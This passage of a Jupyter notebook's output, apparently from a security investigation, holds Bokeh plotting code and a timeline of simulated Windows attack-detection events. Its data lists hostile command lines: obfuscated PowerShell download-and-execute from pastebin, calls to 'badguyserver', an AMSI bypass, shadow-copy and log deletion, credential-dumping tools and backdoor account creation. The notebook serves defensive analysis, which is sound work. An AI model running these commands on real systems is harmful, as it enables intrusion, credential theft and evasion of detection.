s.onerror = function() {\n console.warn(\"failed to load library \" + url);\n };\n console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.getElementsByTagName(\"head\")[0].appendChild(s);\n }\n };var element = document.getElementById(\"e959960e-2b11-4a38-a51c-0428eac33b16\");\n if (element == null) {\n console.log(\"Bokeh: ERROR: autoload.js configured with elementid 'e959960e-2b11-4a38-a51c-0428eac33b16' but no matching script tag was found. \")\n return false;\n }\n\n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n \n function(Bokeh) {\n \n },\n function(Bokeh) {\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n }\n ];\n\n function run_inline_js() {\n \n if ((root.Bokeh !== undefined) || (force === true)) {\n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"e959960e-2b11-4a38-a51c-0428eac33b16\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(js_urls, function() {\n console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "Alert start time = 2019-01-15 05:15:15\n" ] }, { "data": { "text/html": [ "\n", "
\n", "
\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"32c5f50b-19a6-4345-94b9-42b0444f2100\":{\"roots\":{\"references\":[{\"attributes\":{},\"id\":\"f43c6901-53ca-4995-9dd6-d7c921985c87\",\"type\":\"Selection\"},{\"attributes\":{\"data_source\":{\"id\":\"c9d95918-c102-4457-a29b-cce8fb559249\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"08093a4b-f064-4de9-8e86-ebb6d5480117\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"d1d51b0f-f7b3-4e82-bba2-12b397e2785e\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"8cf88026-dcd0-45b8-b2a7-01ad5d36573e\",\"type\":\"CDSView\"}},\"id\":\"0db0f58f-3bc2-4578-b0bf-6a6465d08fee\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"c54ea2e4-8417-4590-b9ec-7494c372a99d\",\"type\":\"ResetTool\"},{\"attributes\":{},\"id\":\"9a10a02f-9042-4f22-b3e5-c684466e7122\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"e2b41441-6f21-4137-8aca-260bc7255444\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"a2c040cd-b5cd-4810-9d31-fff05a16e3cf\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"overlay\":{\"id\":\"6b6607a1-7192-4f81-8b29-cff1aba1df94\",\"type\":\"BoxAnnotation\"}},\"id\":\"445b57be-c346-4702-8254-794ff4fa66e7\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"c64a7325-efab-4424-ae39-350e487b97e5\",\"type\":\"Line\"},{\"attributes\":{\"source\":{\"id\":\"c9d95918-c102-4457-a29b-cce8fb559249\",\"type\":\"ColumnDataSource\"}},\"id\":\"8cf88026-dcd0-45b8-b2a7-01ad5d36573e\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"33a01566-8939-465f-b7a3-e960976128cf\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"08093a4b-f064-4de9-8e86-ebb6d5480117\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"776ef27f-18a4-4386-b655-ad069e630900\",\"type\":\"ColumnDataSource\"}},\"id\":\"4dff6f0e-36e1-49d9-8b94-8afefd2aae99\",\"type\":\"CDSView\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"2b888245-9f1d-4f31-956d-691d75ceb77a\",\"type\":\"Line\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"renderers\":\"auto\",\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@WrapCmdl\"]]},\"id\":\"494baac2-8429-40af-b3b3-2d68a2ad0e89\",\"type\":\"HoverTool\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"6b6607a1-7192-4f81-8b29-cff1aba1df94\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"callback\":null},\"id\":\"2a3cbe96-5323-4ebf-8805-ed3bf69ee576\",\"type\":\"DataRange1d\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"5a400ead-97a9-4831-b0e4-c261e6a18815\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"16408895-c02f-4603-af25-60cf7c6534e8\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"add0bf55-14f1-437a-b08f-cadfd7f5594b\",\"type\":\"YearsTicker\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1547529315000.0,1547529315000.0],\"y\":[0,2]},\"selected\":{\"id\":\"191ea55e-ce52-4943-a9c1-b1ccac28bdb0\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"f6d50702-a070-42bd-b0a7-0f039f0fb3ff\",\"type\":\"UnionRenderers\"}},\"id\":\"776ef27f-18a4-4386-b655-ad069e630900\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"b7e7996b-ff5e-4290-b40f-dbf254327928\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"61d76ffe-e326-4b0f-a9db-bf28cea72cee\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"50a825d7-1e47-45f9-a920-8733142cea07\",\"type\":\"DatetimeTicker\"}},\"id\":\"3aa5a48e-5af6-45f6-972e-4911ca14d954\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"data_source\":{\"id\":\"776ef27f-18a4-4386-b655-ad069e630900\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"c64a7325-efab-4424-ae39-350e487b97e5\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2b888245-9f1d-4f31-956d-691d75ceb77a\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"4dff6f0e-36e1-49d9-8b94-8afefd2aae99\",\"type\":\"CDSView\"}},\"id\":\"1169bca4-042e-49a1-894a-5adf7395a122\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden !\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\12345.exe\",\".\\\\rundll32 /C 1234.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe\",\".\\\\rundll32 /C reg.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\rundll32.exe /C mshtml,RunHTMLApplication javascript:alert(tada!)\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline solely for purposes of triggering test\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP =2013Role Server -force&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm set winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"© \\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change Dates.docx\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo [S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd /c echo Any questions about the commands executed here then please contact one of\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com; liengli@microsoft.com\",\"net user adm1nistrator Bob_testing /add\",\"net share TestShare=c:\\\\testshare /Grant:Users,Read\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\",\"net use q: /delete\",\"net share TestShare /delete\",\"net user adm1nistrator /delete\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4\",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a' | Out-File .\\\\evil.ps1;\\\"\",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f ':/','/paste','tp')+'bin/'+'raw/'+(\\\"{1}{0}\\\"-f'Em17','pqCw')));}\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg' ^-d^EStIN^At^IOn ^'C:\\\\Users\\\\$env:UserName\\\\AppData\\\\Local\\\\Temp\\\\kittens1.jpg';\\\"\",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\".\\\\powershell -enc JAB0ACAAPQAgACcAZABpAHIAJwA7AA0ACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAnACkAIAAkAHQA\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\",\"certutil -decode delme.b64 implant.exe\",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\" \",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\",\".\\\\powershell Invoke-Shellcode.ps1\",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'raw/'+'pqCwEm17'));\\\"\",\"net localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"net user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x1 /f\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x0 /f\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe vbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powershell.exe -c \\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion Certificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\\\users\\\\Bob\\\\appdata\\\\Roaming\\\\RbtGskQ\\\\RbtGskQ.exe\",\".\\\\reg add HKLM\\\\KEY_LOCAL_MACHINE\\\\...securityproviders\\\\wdigest uselogoncredential /t 1\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe \",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\") \",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command [ref].assembly.gettype('http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)\\\\\\\"\",\"netsh start capture=yes IPv4.Address=1.2.3.4 tracefile=C:\\\\\\\\Users\\\\\\\\user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\bzzzzzz.txt\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\",\"cmd /c \\\"powershell wscript.shell used to download a .gif\\\"\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t /g everyone:f\",\"cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe \",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set opmode mode=disable profile=all\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com abc.wallet\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\{RANDOM}.txt\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/ \",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\",\"sc create MSTICTestService binPath=C:\\\\Users\\\\MSTICA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.exe DisplayName=\\\"Test Service\\\"\",\"sc delete MSTICTestService\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition /t reg_dword /d 33554556 /f\",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat c:\\\\Diagnostics\\\\UserTmp\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Diagnostics\\\\UserTmp\\\\ftp.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat\",\"C:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe\",\"C:\\\\Windows\\\\System32\\\\vssadmin.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\suchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\implant.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\dubrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\nlbrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\smss.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ASC_Alerttest_662jfi039n.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\wuauclt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\lsass.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cacls.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\2840.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\pcalua.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\findstr.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\SQLDumper.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\Fonts\\\\csrss.exe\",\"C:\\\\Windows\\\\Fonts\\\\conhost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mimikatz.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"ANBV9v6EdkIAcHT2/oR2QgBQe/b+hHZCAEB/9v6EdkIAAIP2/oR2QgDghPb+hHZCAECJ9v6EdkIA4In2/oR2QgAwjfb+hHZCAFCQ9v6EdkIAcJP2/oR2QgBQlPb+hHZCAACX9v6EdkIA8Jn2/oR2QgBwnPb+hHZCACCf9v6EdkIA0KH2/oR2QgBwpvb+hHZCAMCp9v6EdkIAUK32/oR2QgBwsPb+hHZCABCx9v6EdkIAEEHz/oR2QgDwTPP+hHZCAJBN8/6EdkIA4FXz/oR2QgDwXPP+hHZCAGBx8/6EdkIAMKP0/oR2QgCwHPX+hHZCADAf9f6EdkIAECL1/oR2QgDAQfX+hHZCAFBL9f6EdkIAEFP1